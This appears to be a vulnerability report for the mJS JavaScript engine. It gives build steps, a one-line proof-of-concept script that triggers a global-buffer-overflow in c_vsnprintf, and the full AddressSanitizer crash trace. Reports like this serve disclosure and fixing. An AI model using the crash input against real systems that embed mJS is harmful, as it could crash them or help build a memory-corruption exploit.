Global-buffer-overflow mjs/src/common/str_util.c:180:14 in c_vsnprintf

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

(JSON.stringify([1, 2, 3]))((JSON.parse - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
=================================================================
==61818==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064c54a at pc 0x0000005ea260 bp 0x7fff3bbcc940 sp 0x7fff3bbcc938
WRITE of size 4 at 0x00000064c54a thread T0
    #0 0x5ea25f in c_vsnprintf /root/mjs/src/common/str_util.c:180:14
    #1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #4 0x7f1016453b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

0x00000064c54a is located 54 bytes to the left of global variable '<string literal>' defined in 'src/mjs_util.c:125:7' (0x64c580) of size 15
  '<string literal>' is ascii string 'src/mjs_util.c'
0x00000064c54b is located 0 bytes to the right of global variable '<string literal>' defined in 'src/mjs_util.c:120:30' (0x64c540) of size 11
  '<string literal>' is ascii string '  %-3u %-8s'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/common/str_util.c:180:14 in c_vsnprintf
Shadow bytes around the buggy address:
  0x0000800c1850: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1860: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1870: 06 f9 f9 f9 f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9
  0x0000800c1880: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1890: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=>0x0000800c18a0: 00 04 f9 f9 f9 f9 f9 f9 00[03]f9 f9 f9 f9 f9 f9
  0x0000800c18b0: 00 07 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18c0: 07 f9 f9 f9 f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9
  0x0000800c18d0: 00 02 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18e0: 00 00 04 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18f0: 02 f9 f9 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==61818==ABORTING

Credits: Found by OWL337 team.